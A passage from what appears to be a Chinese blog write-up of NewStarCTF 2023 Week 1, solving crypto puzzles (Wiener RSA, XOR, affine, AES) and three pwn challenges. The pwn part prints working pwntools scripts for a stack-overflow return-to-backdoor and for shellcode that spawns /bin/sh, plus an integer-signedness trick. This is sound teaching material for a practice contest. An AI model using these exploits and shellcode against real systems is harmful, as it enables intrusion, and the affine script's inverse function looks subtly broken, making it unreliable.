n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433
e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248
d = wiener_hack(e, n)
m = pow(c,d,n)
print (long_to_bytes(m))
if __name__=="__main__":
main()

拿到flag:flag{learn_some_continued_fraction_technique#dc16885c}

babyxor

打开附件,得到一段python:

1
2
3
4
5
6
7
8
9
from secret import *

ciphertext = []

for f in flag:
ciphertext.append(f ^ key)

print(bytes(ciphertext).hex())
# e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2

由于已知flag是flag{开头的,所以我们可以得到key的值,编写解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ciphertext_hex = 'e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2'

# 将16进制字符串转换为字节列表
ciphertext_bytes = bytes.fromhex(ciphertext_hex)

# 解密密文
plaintext = []
for c in ciphertext_bytes:
print(chr(ord(chr(c))^143),end='')
#plaintext.append(c ^ key)

# 将字节列表转换为字符串
plaintext_str = ''.join([chr(p) for p in plaintext])

print(plaintext_str)

得到flag:flag{x0r_15_symm3try_and_e4zy!!!!!!}

babyencoding

使用cyberchef,第一段得到flag{dazzling_encoding#4e0ad4,第二段得到:f0ca08d1e1d0f10c0c7afe422fea7,第三段使用UUencode解密UUencode加密/解密 - Bugku CTF,得到c55192c992036ef623372601ff3a}

拼接一下,得到flag:flag{dazzling_encoding#4e0ad4f0ca08d1e1d0f10c0c7afe422fea7c55192c992036ef623372601ff3a}

Affine

附件一段python

1
2
3
4
5
6
7
8
9
10
from flag import flag, key

ciphertext = []

for f in flag:
ciphertext.append((key[0]*f + key[1]) % 256)

print(bytes(ciphertext).hex())

# dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064

因为flag前4个字母是flag,因此可以列出4个方程

1
2
3
4
221+256*a=key0*102+key1
67+256*b=key0*108+key1
136+256*c=key0*97+key1
238+256*d=key0*103+key1

得到

1
2
key0 = (52 + 256 * (a - b + c - d)) / -12
key1 = 221 + 256 * a - key0 * 102

测试猜测key0=17,key1=23

解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 密文和密钥
ciphertext_hex = "dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064"
key = (17, 23) # 请将a和b替换为实际的密钥值

# 计算key[0]的模数逆
def mod_inverse(a, m):
m0, x0, x1 = m, 0, 1
while a > 1:
q = a // m
m, a = a % m, m
x0, x1 = x1 - q * x0, x0
return x1 + m0 if x1 < 0 else x1

# 将密文转换为字节列表
ciphertext_bytes = bytes.fromhex(ciphertext_hex)
flag = []

# 逆向解密
for c in ciphertext_bytes:
original_byte = ((c - key[1]) * mod_inverse(key[0], 256)) % 256
flag.append(original_byte)

# 将解密后的字节列表转换为字符串
original_flag = bytes(flag).decode('utf-8')

print(original_flag)

得到flag:flag{4ff1ne_c1pher_i5_very_3azy}

babyaes

打开附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Cipher import AES
import os
from flag import flag
from Crypto.Util.number import *


def pad(data):
return data + b"".join([b'\x00' for _ in range(0, 16 - len(data))])


def main():
flag_ = pad(flag)
key = os.urandom(16) * 2
iv = os.urandom(16)
print(bytes_to_long(key) ^ bytes_to_long(iv) ^ 1)
aes = AES.new(key, AES.MODE_CBC, iv)
enc_flag = aes.encrypt(flag_)
print(enc_flag)


if __name__ == "__main__":
main()
# 3657491768215750635844958060963805125333761387746954618540958489914964573229
# b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'

key是32bytes,256bits ;iv是16bytes ,128bits

key^iv ,那么只有 iv 与 key的低128位相异或,所以key的高128位是固定不变的。所以输出结果的高128bits,就是key的高128bits,进而可以得到key的所有值256bits。

之后key的低128bits,与输出结果的低128bits相异或,所得结果就是iv的值了

解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Cipher import AES
import os
from gmpy2 import*
from Crypto.Util.number import*

xor = 3657491768215750635844958060963805125333761387746954618540958489914964573229^1
enc_flag = b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'
out = long_to_bytes(xor)
key = out[:16]*2
# print(key)
iv = bytes_to_long(key[16:])^bytes_to_long(out[16:])
# print(iv)
iv = long_to_bytes(iv)
# print(iv)
aes = AES.new(key,AES.MODE_CBC,iv)
flag = aes.decrypt(enc_flag)
print(flag)

得到b'firsT_cry_Aes\x00\x00\x00'

flag:flag{firsT_cry_Aes}

Pwn

3/5

ret2text

栈溢出

ida打开发现明显的栈溢出,而且还有后门backdoor()函数

反汇编代码

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

init(argc, argv, envp);
puts("Welcome to NewStar CTF!!");
puts("Show me your magic");
read(0, buf, 0x100uLL);
return 0;
}

backdoor代码

1
2
3
4
5
int backdoor()
{
puts("Congratulations!!!");
return execve("/bin/sh", 0LL, 0LL);
}

backdoor地址00000000004011FB

编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

return_address = 0x4011FB
padding = b'A' * 40

# 构造payload
payload = padding + p64(return_address)

# 连接目标服务
r = remote('node4.buuoj.cn',27081)
r.recvline()
r.recvline()
# 发送payload
r.sendline(payload)

# 接收响应
r.interactive()

之后直接cat flag即可拿到flag:flag{11b564d9-fb42-41c6-a215-a750c4fc8c28}

ezshellcode

反汇编

1
2
3
4
5
6
7
8
9
10
11
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+8h] [rbp-8h]

init(argc, argv, envp);
buf = (void *)(int)mmap((void *)0x66660000, 0x1000uLL, 7, 50, -1, 0LL);
puts("Welcome to NewStar CTF!!");
puts("Show me your magic");
read(0, buf, 0x100uLL);
JUMPOUT(0x66660000LL);
}

直接写shellcode即可,网上随便搜一个shellcode,编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

# shellcode
shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'

# 启动进程
r = remote('node4.buuoj.cn',28681)

# 读取欢迎信息
print(r.recv())

# 写入shellcode到内存块
r.sendline(shellcode)

r.interactive()

# 关闭进程
r.close()

直接cat flag

newstar shop

主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
init(argc, argv, envp);
while ( 1 )
{
menu();
if ( (int)__isoc99_scanf("%d", &v3) <= 0 )
puts("Invalid input");
switch ( v3 )
{
case 1:
shop();
break;
case 2:
makemoney();
break;
case 3:
dont_try();
break;
default:
puts("nothing here");
puts("\n");
break;
}
}
}

menu()

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 menu()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
puts("=================");
puts("1.Go to the shop ");
puts("2.Make some money");
puts("3.Don't choose ");
puts("=================");
puts("\n");
return v1 - __readfsqword(0x28u);
}

shop()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
unsigned __int64 shop()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("=============================");
puts("===Welcome to newstar shop===");
puts("=============================");
puts("1.newstar's gift 20$");
puts("2.pwn write up 40$");
puts("3.shell 9999$");
puts("\n");
puts("All things are only available for one day!");
puts("What do you want to buy?");
puts("\n");
if ( (int)__isoc99_scanf("%d", &v1) <= 0 )
puts("Invalid input");
if ( v1 != 3 )
{
if ( v1 > 3 )
{
LABEL_17:
puts("nothing here");
puts("\n");
return v2 - __readfsqword(0x28u);
}
if ( v1 == 1 )
{
if ( (unsigned int)money > 0x13 )
{
money -= 20;
puts("You buy a newstar's gift");
puts("That is the gift:");
puts("What will happen when int transfer to unsigned int?");
goto LABEL_10;
}
}
else
{
if ( v1 != 2 )
goto LABEL_17;
if ( (unsigned int)money > 0x27 )
{
money -= 40;
puts("You buy a pwn write up");
puts("That is free after the match,haha");
goto LABEL_10;
}
}
puts("Sorry,you don't have enough money");
LABEL_10:
puts("\n");
return v2 - __readfsqword(0x28u);
}
if ( (unsigned int)money > 0x270E )
{
money = 0;
puts("How do you buy it?");
puts("\n");
system("/bin/sh");
}
else
{
puts("Sorry,you don't have enough money");
puts("\n");
}
return v2 - __readfsqword(0x28u);
}

makemoney()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
unsigned __int64 makemoney()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("============================");
puts("==========Job list==========");
puts("============================");
puts("1.McDonald part time job 20$");
puts("2.MeiTuan takeout 40$");
puts("3.Giving out leaflets 60$");
puts("What do you want to do?");
puts("\n");
if ( (int)__isoc99_scanf("%d", &v1) <= 0 )
puts("Invalid input");
switch ( v1 )
{
case 1:
if ( hour <= 3 )
goto LABEL_12;
puts("You chose McDonald's part time job");
puts("It took you 4hours and earned 20$");
puts("\n");
hour -= 4;
money += 20;
break;
case 2:
if ( hour <= 7 )
{
LABEL_12:
puts("You need to rest");
puts("\n");
return v2 - __readfsqword(0x28u);
}
puts("You chose MeiTuan takeout");
puts("It took you 8hours and earned 40$");
puts("\n");
hour -= 8;
money += 40;
break;
case 3:
if ( hour > 11 )
{
puts("You chose giving out leaflets");
puts("It took you 12hours and earned 60$");
puts("\n");
hour -= 12;
money += 60;
return v2 - __readfsqword(0x28u);
}
goto LABEL_12;
default:
puts("nothing here");
puts("\n");
return v2 - __readfsqword(0x28u);
}
return v2 - __readfsqword(0x28u);
}

dont_try()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 dont_try()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
if ( chance )
{
puts("You shouldn't choose this");
puts("Please remember, the shop owner doesn't like his secret to be found");
puts("To punish your choice, you will lose 50$ and you will never be able to choose it!");
puts("\n");
money -= 50;
--chance;
}
return v1 - __readfsqword(0x28u);
}

原理:有符号型负数int转化为无符号int会导致无符号int数值特别大

因此,先把所有money花光,之后去dont_try()函数减钱,将其变成负数,即可买到shell

总结

作为新生赛,还是比较简单的,对初学者比较友好。

贴一个官方wp:NewStarCTF 2023 Week1 官方WriteUp (shimo.im)


NewStarCTF 2023-WEEK1 WriteUp
https://blog.lazyforever.top/2023/09/26/2023newstarctfWeek1/
作者
lazy_forever
发布于
2023年9月26日
许可协议